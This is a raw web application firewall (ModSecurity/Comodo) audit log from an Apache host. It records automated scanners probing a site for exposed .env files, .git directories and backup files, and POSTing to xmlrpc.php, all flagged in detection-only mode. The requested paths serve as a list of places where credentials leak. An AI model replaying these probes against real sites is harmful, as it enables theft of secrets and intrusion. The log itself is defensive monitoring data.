www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --61daab20-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f5adc2c7012bf6de217d6a58b2df8f6c1750018459; expires=Sun, 15 Jun 2025 21:14:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --61daab20-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups.inc"] [unique_id "aE8pmwmPiipnjM18nBTzRgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018459308210 689063 (- - -) Stopwatch2: 1750018459308210 689063; combined=2227, p1=413, p2=1677, p3=0, p4=0, p5=137, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --61daab20-Z-- --aa36e347-A-- [16/Jun/2025:01:44:28.762883 +0530] aE8ppLSOi14Mt1Fv4_TBhgAAAAo 185.177.72.210 54874 127.0.0.1 7081 --aa36e347-B-- GET /:8008/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aa36e347-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d96f2882fd524f73b34f282170eeb7821750018468; expires=Sun, 15 Jun 2025 21:14:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aa36e347-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/app/.env"] [unique_id "aE8ppLSOi14Mt1Fv4_TBhgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018468114426 648521 (- - -) Stopwatch2: 1750018468114426 648521; combined=2786, p1=549, p2=2135, p3=0, p4=0, p5=101, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aa36e347-Z-- --52bf043d-A-- [16/Jun/2025:01:44:29.871707 +0530] aE8ppT6fDirgE_qJvgHPCgAAAAA 185.177.72.210 54896 127.0.0.1 7081 --52bf043d-B-- GET /.git/journalzinhos/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --52bf043d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=33c931d657cd105c5bfb986283dcfcd21750018469; expires=Sun, 15 Jun 2025 21:14:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --52bf043d-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/journalzinhos/head"] [unique_id "aE8ppT6fDirgE_qJvgHPCgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018469183384 688399 (- - -) Stopwatch2: 1750018469183384 688399; combined=1923, p1=406, p2=1410, p3=0, p4=0, p5=107, sr=109, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --52bf043d-Z-- --261f677c-A-- [16/Jun/2025:01:44:39.778335 +0530] aE8prwmPiipnjM18nBTzTwAAAAs 185.177.72.210 49760 127.0.0.1 7081 --261f677c-B-- GET /:10000/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --261f677c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=50aa10104223ba9aeb1ab143543574e91750018479; expires=Sun, 15 Jun 2025 21:14:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --261f677c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/src/.env"] [unique_id "aE8prwmPiipnjM18nBTzTwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018479134750 643647 (- - -) Stopwatch2: 1750018479134750 643647; combined=1954, p1=395, p2=1458, p3=0, p4=0, p5=100, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --261f677c-Z-- --b3c1c85f-A-- [16/Jun/2025:01:44:39.803480 +0530] aE8prhQKR3lSdoPAzimAIAAAAAk 128.199.112.101 49724 127.0.0.1 7081 --b3c1c85f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --b3c1c85f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --b3c1c85f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8prhQKR3lSdoPAzimAIAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018478823737 979795 (- - -) Stopwatch2: 1750018478823737 979795; combined=2169, p1=346, p2=1451, p3=36, p4=56, p5=173, sr=95, sw=107, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3c1c85f-Z-- --72453f2d-A-- [16/Jun/2025:01:44:48.505575 +0530] aE8ptwmPiipnjM18nBTzUwAAAAs 185.177.72.210 46398 127.0.0.1 7081 --72453f2d-B-- GET /settings/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72453f2d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a7aff6bfd31f5a6528b2b779f74242db1750018488; expires=Sun, 15 Jun 2025 21:14:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72453f2d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.env.dev"] [unique_id "aE8ptwmPiipnjM18nBTzUwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018487829327 676333 (- - -) Stopwatch2: 1750018487829327 676333; combined=1668, p1=361, p2=1194, p3=0, p4=0, p5=112, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72453f2d-Z-- --5271a112-A-- [16/Jun/2025:01:44:56.942379 +0530] aE8pwF4QpUmzcAFMV3bUlQAAAAI 185.177.72.210 50724 127.0.0.1 7081 --5271a112-B-- GET /test/fixtures/app_types/rails/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5271a112-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=527c8622338562f2c2782d7106e46faa1750018496; expires=Sun, 15 Jun 2025 21:14:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5271a112-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/fixtures/app_types/rails/.env"] [unique_id "aE8pwF4QpUmzcAFMV3bUlQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018496231204 711237 (- - -) Stopwatch2: 1750018496231204 711237; combined=1981, p1=418, p2=1454, p3=0, p4=0, p5=108, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5271a112-Z-- --60fe7c28-A-- [16/Jun/2025:01:45:29.478839 +0530] aE8p4HsalJN_0-_70dL1dAAAAAU 185.177.72.210 42608 127.0.0.1 7081 --60fe7c28-B-- GET /:8880/new/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --60fe7c28-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=155e91d660f18c9162c392bbc5bb71bc1750018529; expires=Sun, 15 Jun 2025 21:15:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --60fe7c28-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/new/.env"] [unique_id "aE8p4HsalJN_0-_70dL1dAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018528775408 703494 (- - -) Stopwatch2: 1750018528775408 703494; combined=1688, p1=365, p2=1222, p3=0, p4=0, p5=100, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60fe7c28-Z-- --2b6efb52-A-- [16/Jun/2025:01:45:31.444818 +0530] aE8p4hQKR3lSdoPAzimARAAAAAk 185.177.72.210 42288 127.0.0.1 7081 --2b6efb52-B-- GET /tests/default_settings/v8.0/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2b6efb52-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9d549dcf1b21f2281a3be45aac5450771750018531; expires=Sun, 15 Jun 2025 21:15:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2b6efb52-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tests/default_settings/v8.0/.env"] [unique_id "aE8p4hQKR3lSdoPAzimARAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018530781441 663440 (- - -) Stopwatch2: 1750018530781441 663440; combined=1773, p1=378, p2=1302, p3=0, p4=0, p5=92, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2b6efb52-Z-- --2f89fa6f-A-- [16/Jun/2025:01:45:37.168549 +0530] aE8p6HsalJN_0-_70dL1fQAAAAU 185.177.72.210 42566 127.0.0.1 7081 --2f89fa6f-B-- GET /backups/private/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2f89fa6f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a32a121fc86feef0d5d886bd8c3d19201750018537; expires=Sun, 15 Jun 2025 21:15:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2f89fa6f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/private/.env"] [unique_id "aE8p6HsalJN_0-_70dL1fQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018536513356 655256 (- - -) Stopwatch2: 1750018536513356 655256; combined=1655, p1=357, p2=1185, p3=0, p4=0, p5=113, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2f89fa6f-Z-- --a0645f2b-A-- [16/Jun/2025:01:45:39.255346 +0530] aE8p6jZWrQ9Ly--lMo_-aAAAAAE 185.177.72.210 42698 127.0.0.1 7081 --a0645f2b-B-- GET /repos/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a0645f2b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=64a1c61c103a302e66fd91437696e12e1750018539; expires=Sun, 15 Jun 2025 21:15:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a0645f2b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/repos/.env"] [unique_id "aE8p6jZWrQ9Ly--lMo_-aAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018538566540 688869 (- - -) Stopwatch2: 1750018538566540 688869; combined=2200, p1=465, p2=1645, p3=0, p4=0, p5=90, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a0645f2b-Z-- --5b900a55-A-- [16/Jun/2025:01:45:39.867144 +0530] aE8p6j6fDirgE_qJvgHPOgAAAAA 128.199.112.101 42720 127.0.0.1 7081 --5b900a55-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 499 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5b900a55-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5b900a55-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8p6j6fDirgE_qJvgHPOgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018538931343 935856 (- - -) Stopwatch2: 1750018538931343 935856; combined=2276, p1=398, p2=1513, p3=41, p4=58, p5=165, sr=111, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b900a55-Z-- --39f25f3e-A-- [16/Jun/2025:01:45:40.383460 +0530] aE8p67SOi14Mt1Fv4_TBtgAAAAo 185.177.72.210 59690 127.0.0.1 7081 --39f25f3e-B-- GET /:8008/rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39f25f3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d46239f727c8dff76eea98d3e2608b761750018540; expires=Sun, 15 Jun 2025 21:15:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39f25f3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/rest/.env"] [unique_id "aE8p67SOi14Mt1Fv4_TBtgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018539687132 696392 (- - -) Stopwatch2: 1750018539687132 696392; combined=1969, p1=468, p2=1399, p3=0, p4=0, p5=101, sr=143, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39f25f3e-Z-- --c13d3e21-A-- [16/Jun/2025:01:45:45.307720 +0530] aE8p8HsalJN_0-_70dL1ggAAAAU 185.177.72.210 60008 127.0.0.1 7081 --c13d3e21-B-- GET /bitrix/.settings.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c13d3e21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c002a3d74dffcfb8f8d42f01fe204acb1750018545; expires=Sun, 15 Jun 2025 21:15:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c13d3e21-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".settings.php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile 